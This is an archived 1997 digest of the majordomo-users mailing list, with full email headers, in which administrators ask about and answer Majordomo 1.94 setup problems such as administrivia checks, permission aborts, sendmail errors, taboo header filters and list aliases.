Temp cc: majordomo-users@GreatCircle.COM Subject: Re: Anti-Spammer Tool In-reply-to: Your message of "Wed, 04 Jun 1997 08:19:45 +0900." <199706032319.IAA31517@kesl.kesl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 04 Jun 1997 09:59:06 +0200 Message-ID: <14549.865411146@munken.uninett.no> Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk The interesting thing about this so-called anti-spammer tool is that because a lot of spam I see comes from dialup accounts (including the pestilential "bogus subscribe attack"), the most likely person to be hit by such an "interesting" retaliation is the next guy to dial into that particular modem. Think before you resort to force.... BTW, http://www-math.uni-paderborn.de/%7Eaxel/BL/ has a blacklist of E-mail advertisers (for e-mail address filtering), and http://spam.abuse.net/spam// used to have a list of IP addresses for "rogue" nets (those who refused to police their customers), which has been withdrawn "due to repeated legal threats by sites that were listed here". Harald A From owner-majordomo-users-outgoing Thu Jun 5 16:28:16 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA14620 for majordomo-users-outgoing; Thu, 5 Jun 1997 12:51:18 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id MAA14505 for majordomo-users@greatcircle.com; Thu, 5 Jun 1997 12:50:40 -0700 (PDT) Received: from rain.to.opentext.net (rain.to.opentext.com [192.139.37.3]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA10888 for ; Mon, 2 Jun 1997 13:05:33 -0700 (PDT) Received: from localhost by rain.to.opentext.net via sendmail with smtp id for ; Mon, 2 Jun 1997 16:09:31 -0400 (EDT) (Smail-3.2.0.90 1996-Dec-4 #6 built 1997-Mar-11) Date: Mon, 2 Jun 1997 16:09:31 -0400 (EDT) From: Hugh Ferguson Reply-To: Hugh Ferguson To: majordomo-users@greatcircle.com Subject: Turning off the administrivia feature Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I have recently upgraded to Majordomo 1.94.3 running on a Sparc 5 under SunOS4.1.4, but this problem was present under majordomo 1.93 if I recall correctly. I know that the administrivia feature is supposed to catch key words like 'subscribe' and 'list' etc. but I can't seem to turn this feature off. We have a customer that is complaining about this since they want to send a message to the list with subscription instructions. I've tried setting administrivia to 'no', to nothing at all, and I've even commented out the administrivia line altogether but it still does this check. I've looked at the resend code, and tried hard coding $opt_s to be 0 or even undefined. Before I go kludging this up any more I would like to know if this is a known 'undocumented feature', or if there is a patch so that I can turn administrivia off. regards -Hugh Ferguson --------------------------------------------------------\ Hugh Ferguson, System Administrator Toronto Office \ phone: +1 (416)-596-0296x35 fax: +1 (416)-596-1374 \ email: hugh@opentext.com / / --------------------------------------------------------/ From owner-majordomo-users-outgoing Thu Jun 5 16:37:02 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA14403 for majordomo-users-outgoing; Thu, 5 Jun 1997 12:50:16 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id MAA14378 for majordomo-users@greatcircle.com; Thu, 5 Jun 1997 12:50:10 -0700 (PDT) Received: from gserver1.tkk.tele.fi (gserver1.tkk.tele.fi [131.177.6.80]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA02376 for ; Mon, 2 Jun 1997 11:58:14 -0700 (PDT) Received: from localhost (lainese1@localhost) by gserver1.tkk.tele.fi (8.8.5/8.8.5) with SMTP id XAA20340 for ; Mon, 2 Jun 1997 23:03:08 +0300 Date: Mon, 2 Jun 1997 23:03:08 +0300 (EET DST) From: Seppo Laine To: Majordomo-Users List Subject: Problems with permissions In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hello everyone, I'm trying to set up Majordomo 1.94.3 on a Linux machine (Red Hat Linux release 4.1) -- not having succeeded in that task so far. Much of it seems to work, though, like subscribing, and commands like info, lists, etc. However, I haven't succeeded in getting unsubscribe command to work yet, and it seems it's failing because of some permission problems. As an example, the error message to the admin of list 'foo' after an unsubscribe command looks like this: ------------------------------------------------------------------------ MAJORDOMO ABORT (mj_majordomo)!! chmod(33206, "/usr/local/majordomo-1.94.3/lists/foo.new"): Operation not permitted ------------------------------------------------------------------------ Now could you please tell me, what exactly does it try to do here, and why? And how come it's "not permitted", as owners and groups of all the files and directories are set to the user 'majordom' and group 'majordom' just as it's told in the installation instructions (also the user 'majordom' belongs to the group 'majordom')? I'm sorry if this is something too evident, but I'm still quite a newbie in Linux, and definitely a newbie in administering mailing lists. Nonetheless, I must get this to work, so every little piece of information you could provide would be as much appreciated as also needed!! Many thanks in advance! -- Seppo Laine lainese1@list.tkk.tele.fi From owner-majordomo-users-outgoing Thu Jun 5 16:39:40 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA14594 for majordomo-users-outgoing; Thu, 5 Jun 1997 12:51:11 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id MAA14472 for majordomo-users@greatcircle.com; Thu, 5 Jun 1997 12:50:32 -0700 (PDT) Received: from panix4.panix.com (panix4.panix.com [198.7.0.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA06631 for ; Mon, 2 Jun 1997 12:38:47 -0700 (PDT) Received: (from askanas@localhost) by panix4.panix.com (8.8.5/8.7/PanixU1.3) id PAA25445 for majordomo-users@GreatCircle.COM; Mon, 2 Jun 1997 15:42:15 -0400 (EDT) Received: from relay4.UU.NET (relay4.UU.NET [192.48.96.14]) by mail2.panix.com (8.8.5/8.7.1/PanixM1.0) with ESMTP id LAA01705 for ; Mon, 2 Jun 1997 11:40:50 -0400 (EDT) Received: from honor.greatcircle.com by relay4.UU.NET with ESMTP (peer crosschecked as: honor.greatcircle.com [198.102.244.44]) id QQcsfe08075; Mon, 2 Jun 1997 11:33:09 -0400 (EDT) Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA03892 for majordomo-users-outgoing; Mon, 2 Jun 1997 08:05:50 -0700 (PDT) Received: from panix4.panix.com (panix4.panix.com [198.7.0.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA03867 for ; Mon, 2 Jun 1997 08:05:39 -0700 (PDT) Received: (from askanas@localhost) by panix4.panix.com (8.8.5/8.7/PanixU1.3) id LAA12355; Mon, 2 Jun 1997 11:08:31 -0400 (EDT) From: malgosia askanas Message-Id: <199706021508.LAA12355@panix4.panix.com> Subject: Please help with majordomo abort To: majordomo-users@GreatCircle.COM Date: Mon, 2 Jun 1997 11:08:26 -0400 (EDT) Cc: askanas@panix.com (malgosia askanas) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk A list I run is getting these aborts with each message posted to the list: MAJORDOMO ABORT (mj_resend)!! Mailer /usr/lib/sendmail -fowner-foucault@lists.village.virginia.edu foucault-outgoing exited unexpectedly with error 64 The messages do get distributed to the list, although I don't know if they reach all the subscribers. These messages started appearing after I upgraded from 1.92 to 1.94.3. Here are the aliases for the list: foucault: "|/usr/majordomo/wrapper resend -l foucault -h lists.village.virgini a.edu -r foucault -f foucault-approval -p bulk -s foucault-outgoing" foucault-outgoing: :include:/usr/majordomo/lists/foucault, foucault-archi ve, "|/usr/majordomo/wrapper digest -r -C -l foucault-digest foucault-digest-o utgoing" foucault-request: "|/usr/majordomo/wrapper request-answer foucault" foucault-approval: owner-foucault foucault-archive: "|/usr/majordomo/wrapper archive -f /home/ftp/pub/pubs/lis tservs/spoons/foucault.archive/foucault -m -a " owner-foucault: spoons Do you have any suggestions as to what might be causing these aborts, and what their consequences might be? This is with Sendmail 8.8.5. Thanks in advance, -malgosia From owner-majordomo-users-outgoing Thu Jun 5 16:43:16 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA15448 for majordomo-users-outgoing; Thu, 5 Jun 1997 12:56:11 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id MAA15429 for majordomo-users@greatcircle.com; Thu, 5 Jun 1997 12:56:07 -0700 (PDT) Received: from pp (pp.ksc.nasa.gov [128.159.174.102]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id TAA00766 for ; Mon, 2 Jun 1997 19:37:56 -0700 (PDT) Received: from kscgws00.ksc.nasa.gov by pp with SMTP (PP); Mon, 2 Jun 1997 22:44:20 -0400 Received: by kscgws00.ksc.nasa.gov with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.995.52) id <01BC6FA6.5A5FBFD0@kscgws00.ksc.nasa.gov>; Mon, 2 Jun 1997 22:43:13 -0400 Message-ID: From: "Ferrell-1, Ema" To: "'majordomo-users@greatcircle.com'" Cc: "Seaton-1, Glenn" Subject: FW: Majordomo results: RE: APPROVE clcs_support_nets Date: Mon, 2 Jun 1997 22:43:07 -0400 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.995.52 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I'm trying to unsubscribe a user (happens to be myself) from a list called clcs_support_nets, and I get the following message below. clcsadmin is the password that I use in the clcs_support_nets.config file. Can some one help? Ema Ferrell Checkout & Launch Control System Hardware Design Division Support Networks/DE-CLC-A 407-861-xxxx(phone #) 407-861-7470 (fax #) >---------- >From: Majordomo@kte0007.ksc.nasa.gov[SMTP:Majordomo@kte0007.ksc.nasa.gov] >Sent: Monday, June 02, 1997 10:17 PM >To: Eman.Ferrell-1@kmail.ksc.nasa.gov >Subject: Majordomo results: RE: APPROVE clcs_support_nets > >-- > >>>>> approve clcsadmin unsubscribe clcs_support_nets >**** approve: invalid list or password. >>>>> eferrell@kte0007.ksc.nasa.gov >**** Command 'eferrell@kte0007.ksc.nasa.gov' not recognized. >>>>> end >END OF COMMANDS >**** Help for Majordomo@kte0007.ksc.nasa.gov: > > >This help message is being sent to you from the Majordomo mailing list >management system at Majordomo@kte0007.ksc.nasa.gov. > >This is version 1.94.3 of Majordomo. > >If you're familiar with mail servers, an advanced user's summary of >Majordomo's commands appears at the end of this message. > >Majordomo is an automated system which allows users to subscribe >and unsubscribe to mailing lists, and to retrieve files from list >archives. > >You can interact with the Majordomo software by sending it commands >in the body of mail messages addressed to "Majordomo@kte0007.ksc.nasa.gov". >Please do not put your commands on the subject line; Majordomo does >not process commands in the subject line. > >You may put multiple Majordomo commands in the same mail message. >Put each command on a line by itself. > >If you use a "signature block" at the end of your mail, Majordomo may >mistakenly believe each line of your message is a command; you will >then receive spurious error messages. To keep this from happening, >either put a line starting with a hyphen ("-") before your signature, >or put a line with just the word > > end > >on it in the same place. This will stop the Majordomo software from >processing your signature as bad commands. > >Here are some of the things you can do using Majordomo: > >I. FINDING OUT WHICH LISTS ARE ON THIS SYSTEM > >To get a list of publicly-available mailing lists on this system, put the >following line in the body of your mail message to >Majordomo@kte0007.ksc.nasa.gov: > > lists > >Each line will contain the name of a mailing list and a brief description >of the list. > >To get more information about a particular list, use the "info" command, >supplying the name of the list. For example, if the name of the list >about which you wish information is "demo-list", you would put the line > > info demo-list > >in the body of the mail message. > >II. SUBSCRIBING TO A LIST > >Once you've determined that you wish to subscribe to one or more lists on >this system, you can send commands to Majordomo to have it add you to the >list, so you can begin receiving mailings. > >To receive list mail at the address from which you're sending your mail, >simply say "subscribe" followed by the list's name: > > subscribe demo-list > >If for some reason you wish to have the mailings go to a different address >(a friend's address, a specific other system on which you have an account, >or an address which is more correct than the one that automatically appears >in the "From:" header on the mail you send), you would add that address to >the command. For instance, if you're sending a request from your work >account, but wish to receive "demo-list" mail at your personal account >(for which we will use "jqpublic@my-isp.com" as an example), you'd put >the line > > subscribe demo-list jqpublic@my-isp.com > >in the mail message body. > >Based on configuration decisions made by the list owners, you may be added >to the mailing list automatically. You may also receive notification >that an authorization key is required for subscription. Another message >will be sent to the address to be subscribed (which may or may not be the >same as yours) containing the key, and directing the user to send a >command found in that message back to Majordomo@kte0007.ksc.nasa.gov. (This >can be >a bit of extra hassle, but it helps keep you from being swamped in extra >email by someone who forged requests from your address.) You may also >get a message that your subscription is being forwarded to the list owner >for approval; some lists have waiting lists, or policies about who may >subscribe. If your request is forwarded for approval, the list owner >should contact you soon after your request. > >Upon subscribing, you should receive an introductory message, containing >list policies and features. Save this message for future reference; it >will also contain exact directions for unsubscribing. If you lose the >intro mail and would like another copy of the policies, send this message >to Majordomo@kte0007.ksc.nasa.gov: > > intro demo-list > >(substituting, of course, the real name of your list for "demo-list"). > >III. UNSUBSCRIBING FROM MAILING LISTS > >Your original intro message contains the exact command which should be >used to remove your address from the list. However, in most cases, you >may simply send the command "unsubscribe" followed by the list name: > > unsubscribe demo-list > >(This command may fail if your provider has changed the way your >address is shown in your mail.) > >To remove an address other than the one from which you're sending >the request, give that address in the command: > > unsubscribe demo-list jqpublic@my-isp.com > >In either of these cases, you can tell Majordomo@kte0007.ksc.nasa.gov to >remove >the address in question from all lists on this server by using "*" >in place of the list name: > > unsubscribe * > unsubscribe * jqpublic@my-isp.com > >IV. FINDING THE LISTS TO WHICH AN ADDRESS IS SUBSCRIBED > >To find the lists to which your address is subscribed, send this command >in the body of a mail message to Majordomo@kte0007.ksc.nasa.gov: > > which > >You can look for other addresses, or parts of an address, by specifying >the text for which Majordomo should search. For instance, to find which >users at my-isp.com are subscribed to which lists, you might send the >command > > which my-isp.com > >Note that many list owners completely or fully disable the "which" >command, considering it a privacy violation. > >V. FINDING OUT WHO'S SUBSCRIBED TO A LIST > >To get a list of the addresses on a particular list, you may use the >"who" command, followed by the name of the list: > > who demo-list > >Note that many list owners allow only a list's subscribers to use the >"who" command, or disable it completely, believing it to be a privacy >violation. > >VI. RETRIEVING FILES FROM A LIST'S ARCHIVES > >Many list owners keep archives of files associated with a list. These >may include: >- back issues of the list >- help files, user profiles, and other documents associated with the list >- daily, monthly, or yearly archives for the list > >To find out if a list has any files associated with it, use the "index" >command: > > index demo-list > >If you see files in which you're interested, you may retrieve them by >using the "get" command and specifying the list name and archive filename. >For instance, to retrieve the files called "profile.form" (presumably a >form to fill out with your profile) and "demo-list.9611" (presumably the >messages posted to the list in November 1996), you would put the lines > > get demo-list profile.form > get demo-list demo-list.9611 > >in your mail to Majordomo@kte0007.ksc.nasa.gov. > >VII. GETTING MORE HELP > >To contact a human site manager, send mail to >Majordomo-Owner@kte0007.ksc.nasa.gov. >To contact the owner of a specific list, send mail to that list's >approval address, which is formed by adding "-approval" to the user-name >portion of the list's address. For instance, to contact the list owner >for demo-list@kte0007.ksc.nasa.gov, you would send mail to >demo-list-approval@kte0007.ksc.nasa.gov. > >To get another copy of this help message, send mail to >Majordomo@kte0007.ksc.nasa.gov >with a line saying > > help > >in the message body. > >VIII. COMMAND SUMMARY FOR ADVANCED USERS > >In the description below items contained in []'s are optional. When >providing the item, do not include the []'s around it. Items in angle >brackets, such as
      , are meta-symbols that should be replaced >by appropriate text without the angle brackets. > >It understands the following commands: > > subscribe [
      ] > Subscribe yourself (or
      if specified) to the named . > > unsubscribe [
      ] > Unsubscribe yourself (or
      if specified) from the named . > "unsubscribe *" will remove you (or
      ) from all lists. This > _may not_ work if you have subscribed using multiple addresses. > > get > Get a file related to . > > index > Return an index of files you can "get" for . > > which [
      ] > Find out which lists you (or
      if specified) are on. > > who > Find out who is on the named . > > info > Retrieve the general introductory information for the named . > > intro > Retrieve the introductory message sent to new users. Non-subscribers > may not be able to retrieve this. > > lists > Show the lists served by this Majordomo server. > > help > Retrieve this message. > > end > Stop processing commands (useful if your mailer adds a signature). > >Commands should be sent in the body of an email message to >"Majordomo@kte0007.ksc.nasa.gov". Multiple commands can be processed provided >each occurs on a separate line. > >Commands in the "Subject:" line are NOT processed. > >If you have any questions or problems, please contact >"Majordomo-Owner@kte0007.ksc.nasa.gov". > > From owner-majordomo-users-outgoing Thu Jun 5 16:45:59 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA09725 for majordomo-users-outgoing; Thu, 5 Jun 1997 12:27:51 -0700 (PDT) Received: from mailbox.neosoft.com (mailbox.neosoft.com [206.109.1.16]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA09672 for ; Thu, 5 Jun 1997 12:27:38 -0700 (PDT) Received: from praline.no.neosoft.com (praline.no.NeoSoft.COM [206.27.160.253]) by mailbox.neosoft.com (8.8.4/8.8.3) with SMTP id OAA02895 for ; Thu, 5 Jun 1997 14:31:33 -0500 (CDT) Date: Thu, 5 Jun 1997 14:31:30 -0500 (CDT) From: Ray Jones cc: Majordomo Users Subject: Re: Fighting Spams In-Reply-To: <199706051158.IAA00302@ecology.bio.dfo.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Thu, 5 Jun 1997, Bill Silvert wrote: > This suggests that we need a script called "reject" that will do just > the oposite of what "accept" does -- when a message is sent to the list > owner for approval, he can pipe it into reject (or add the line > Reject: PASSWORD to it and it will be sent back to the poster with a > message that it was not acceptable. Actually I would like to have two > such scripts, one that would let me reject spam with a suitably rude This would seem to be fine for ordinary posters, but since spammers often do so from bogus addresses, wouldn't it take more effort than a simple script? It would look to me that if this was done automatically by software, the messages would be bounced to bogus addresses which would just generate more bounces back to the list owner. -- Regards, "Big Ray the Buggy Driver" Jones - Licensed Tour Guide ICQ UIN 1473313 Disseminating information about New Orleans worldwide via my web page at http://www.neosoft.com/~rayjones/welcome.html or you can join "Big Ray's" New Orleans Mailing List by sending: subscribe noml To: majordomo@communique.net From owner-majordomo-users-outgoing Thu Jun 5 21:14:57 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id TAA18488 for majordomo-users-outgoing; Thu, 5 Jun 1997 19:03:51 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id TAA18383 for ; Thu, 5 Jun 1997 19:02:47 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id VAA27316; Thu, 5 Jun 1997 21:06:56 -0500 (CDT) To: majordomo-users@GreatCircle.COM Subject: Re: taboo stuff References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 05 Jun 1997 21:06:55 -0500 In-Reply-To: Rich Pieri's message of 04 Jun 1997 12:55:27 -0400 Message-ID: Lines: 16 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "RP" == Rich Pieri writes: RP> There are examples for majordomo.cf but the expression formats seem to RP> be failing in the list config file (at least, in my test runs with my RP> own testbed lists I cannot keep myself from posting). What did you try? I've had no problem adding piles of taboo entries to keep out idiots. Usually the bog standard taboo_headers << END /from:.*idiot\@dork\.com/i END works well enough. - J< From owner-majordomo-users-outgoing Thu Jun 5 21:16:31 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id TAA29958 for majordomo-users-outgoing; Thu, 5 Jun 1997 19:57:45 -0700 (PDT) Received: from pp (pp.ksc.nasa.gov [128.159.174.102]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id TAA29915 for ; Thu, 5 Jun 1997 19:57:36 -0700 (PDT) Received: from kscgws00.ksc.nasa.gov by pp with SMTP (PP); Thu, 5 Jun 1997 23:04:47 -0400 Received: by kscgws00.ksc.nasa.gov with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.995.52) id <01BC7204.B63D0820@kscgws00.ksc.nasa.gov>; Thu, 5 Jun 1997 23:03:42 -0400 Message-ID: From: "Ferrell-1, Ema" To: "'majordomo-users@greatcircle.com'" Subject: archiving function Date: Thu, 5 Jun 1997 23:03:34 -0400 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.995.52 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Does the archiving function in Majordomo work? The literature talks about it, but in the config file (i.e. listname.config) archive_dir is blank with comments stating that "this item does not currently work. Leave it blank" If this is not yet implemented, then why are their examples of how to use archiving? and should I set this variable to point to the archive directory? Any clarifications would be helpful! Thanks, Ema Ferrell Checkout & Launch Control System Hardware Design Division Support Networks/DE-CLC-A 407-861-xxxx(Phone #) 407-455-5722(Beeper #) 407-861-7470 (Fax #) email: eman.ferrell-1@ksc.nasa.gov From owner-majordomo-users-outgoing Thu Jun 5 21:22:44 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id TAA19587 for majordomo-users-outgoing; Thu, 5 Jun 1997 19:09:12 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id TAA19317 for ; Thu, 5 Jun 1997 19:08:15 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id VAA27369; Thu, 5 Jun 1997 21:12:27 -0500 (CDT) To: Hugh Ferguson Cc: majordomo-users@GreatCircle.COM Subject: Re: Turning off the administrivia feature (fwd) References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 05 Jun 1997 21:12:26 -0500 In-Reply-To: Hugh Ferguson's message of Tue, 3 Jun 1997 20:56:04 -0400 (EDT) Message-ID: Lines: 18 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "HF" == Hugh Ferguson writes: HF> I've tried setting administrivia to 'no', to nothing at all, and I've HF> even commented out the administrivia line altogether but it still does HF> this check. I've looked at the resend code, and tried hard coding HF> $opt_s to be 0 or even undefined. Are you sure you didn't add a bunch of extra options (say, perhaps, -s) to the resend command line? That would override any config file setting. HF> Before I go kludging this up any more I would like to know if this is a HF> known 'undocumented feature', or if there is a patch so that I can turn HF> administrivia off. Nope, works just fine for me. 1.94.1 had a bug that didn't let you turn off admin checking in the headers, but that was fixed in 1.94.3. - J< From owner-majordomo-users-outgoing Thu Jun 5 21:24:56 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA05605 for majordomo-users-outgoing; Thu, 5 Jun 1997 12:00:08 -0700 (PDT) Received: from floyd.santarosa.edu (floyd.santarosa.edu [198.189.21.38]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA05526 for ; Thu, 5 Jun 1997 11:59:52 -0700 (PDT) Received: from ultra.ultra.santarosa.edu (ultra.santarosa.edu [198.189.21.128]) by floyd.santarosa.edu (8.8.5/8.6.10) with SMTP id MAA01837 for ; Thu, 5 Jun 1997 12:03:49 -0700 Received: by ultra.ultra.santarosa.edu (SMI-8.6/SMI-SVR4) id MAA08967; Thu, 5 Jun 1997 12:02:54 -0700 From: jay@ultra.santarosa.edu (Jay Field) Message-Id: <199706051902.MAA08967@ultra.ultra.santarosa.edu> Subject: problem with perl/cgi and sending to majordomo lists To: majordomo-users@greatcircle.com Date: Thu, 5 Jun 1997 12:02:53 -0700 (PDT) X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi, I am having trouble with sending mail from a perl script to a majordomo mailing list. solaris 2.5.1 perl 5.003 sendmail 8.6 apache web server 1.2b10 We were doing this for years (!) and now that we are using majordomo lists to send the mail to (from our perl scripts), it does not seem to be working. Putting in other non-majordomo lists works. The lists work - as individuals we can send and receive the mail fine. Something about using cgi/perl? User nobody (the web server)? We adjusted the line that invokes sendmail to use only -t as the parameter and not -n (since list names are aliases?) The server is running sendmail -bd -q1h I am noticing that the jobs are not getting to the mail queue. But when we specify any other type of email address, it works fine. Any ideas would be greatly appreciated. Jay -- Jay Field Center For Advanced Technology In Education, SRJC http://online.santarosa.edu From owner-majordomo-users-outgoing Thu Jun 5 23:17:10 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA20862 for majordomo-users-outgoing; Thu, 5 Jun 1997 21:53:52 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA20854 for ; Thu, 5 Jun 1997 21:53:47 -0700 (PDT) Received: from qcci.qcci.com.au (ts0610.powerup.com.au [203.18.83.202]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id WAA25293 for ; Thu, 5 Jun 1997 22:00:04 -0700 (PDT) Received: from ws82.qcci (T082.qcci.com.au [10.0.2.82]) by qcci.qcci.com.au (8.7.5/8.6.9) with SMTP id PAA06646 for ; Fri, 6 Jun 1997 15:03:21 +1000 Date: Fri, 6 Jun 1997 15:03:21 +1000 Message-Id: <199706060503.PAA06646@qcci.qcci.com.au> X-Sender: dparker@qcci.com.au X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: majordomo-users@greatcircle.com From: Darryn Parker Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi all, Being a first time administrator of majordomo I am a bit confused. If we are still required to pass arguments to "resend" in the "/etc/aliases" file then what is the listname.config file for? From owner-majordomo-users-outgoing Thu Jun 5 23:22:45 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA20222 for majordomo-users-outgoing; Thu, 5 Jun 1997 21:51:22 -0700 (PDT) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id VAA20197 for ; Thu, 5 Jun 1997 21:51:13 -0700 (PDT) Received: from Uucp1.mcs.net (root@Uucp1.mcs.net [192.160.127.93]) by Kitten.mcs.com (8.8.5/8.8.2) with SMTP id XAA18675; Thu, 5 Jun 1997 23:55:18 -0500 (CDT) Received: by Uucp1.mcs.net (/\==/\ Smail3.1.28.1 #28.17) id ; Thu, 5 Jun 97 23:54 CDT Received: from gibbs.pr.mcs.net (david [192.168.1.1]) by midrange.com (8.7.5/8.7.3) with SMTP id VAA00973; Thu, 5 Jun 1997 21:04:57 -0500 Message-Id: <3.0.2.32.19970605211002.006e31d0@midrange> X-Sender: david@midrange X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 b4 (32) Date: Thu, 05 Jun 1997 21:10:02 -0500 To: malgosia askanas From: David Gibbs Subject: Re: Please help with majordomo abort Cc: majordomo-users@GreatCircle.COM In-Reply-To: <199706021508.LAA12355@panix4.panix.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 11:08 AM 6/2/97 -0400, malgosia askanas wrote: >A list I run is getting these aborts with each message posted to the list: >MAJORDOMO ABORT (mj_resend)!! >Mailer /usr/lib/sendmail -fowner-foucault@lists.village.virginia.edu foucault-outgoing exited unexpectedly with error 64 >The messages do get distributed to the list, although I don't know if they >reach all the subscribers. These messages started appearing after I upgraded >from 1.92 to 1.94.3. Here are the aliases for the list: Check the subscriber file... you will probably find a REALLY invalid address there. I had the same problem a few days ago... turns out one of my subscribers had an open paren "(" in the address and that was screwing up sendmail (I had redirected a subscribe request via Eudora). I removed the open paren and the problem went away. david -- | Internet: david@midrange.com | WWW: http://www.mcs.net/~gibbs | AOL: DMGibbs | | ... A man can move mountains, a world can be turned, | and the greatest of distances easily spanned, | When the strength that's invested in making a fist | is transformed into shaking a hand. | | - DMRoth From owner-majordomo-users-outgoing Thu Jun 5 23:46:27 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA14323 for majordomo-users-outgoing; Thu, 5 Jun 1997 23:39:58 -0700 (PDT) Received: from nimbus.planet.com.mx (nimbus.planet.com.mx [167.114.25.68]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id XAA14296 for ; Thu, 5 Jun 1997 23:39:49 -0700 (PDT) Received: from localhost (ediaz@localhost) by nimbus.planet.com.mx (8.8.5/8.8.5) with SMTP id BAA17233; Fri, 6 Jun 1997 01:45:51 -0500 Date: Fri, 6 Jun 1997 01:45:50 -0500 (CDT) From: "J. Enrique Diaz Jolly" To: Darryn Parker cc: majordomo-users@GreatCircle.COM Subject: Re: your mail In-Reply-To: <199706060503.PAA06646@qcci.qcci.com.au> Message-ID: Organization: Interplanet SA de CV MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Fri, 6 Jun 1997, Darryn Parker wrote: > Hi all, > > Being a first time administrator of majordomo I am a bit confused. If we are > still required to pass arguments to "resend" in the "/etc/aliases" file then > what is the listname.config file for? > If you are using majordomo 1.94.x the only argument (flag) required is -l list, so your list alias would be: list: "|/path/to/wrapper resend -l list list-out" Forever is going to start... right now!!! ============================================================================== Jose Enrique Diaz Jolly e-mail: ediaz@planet.com.mx Interplanet +52(5)539-4142 jedj@mexicomail.com http://www.planet.com.mx e.diaz-jolly@ieee.org ============================================================================== From owner-majordomo-users-outgoing Fri Jun 6 07:18:01 1997 Received: (majordom@localhost) by honor.greatcircle.com 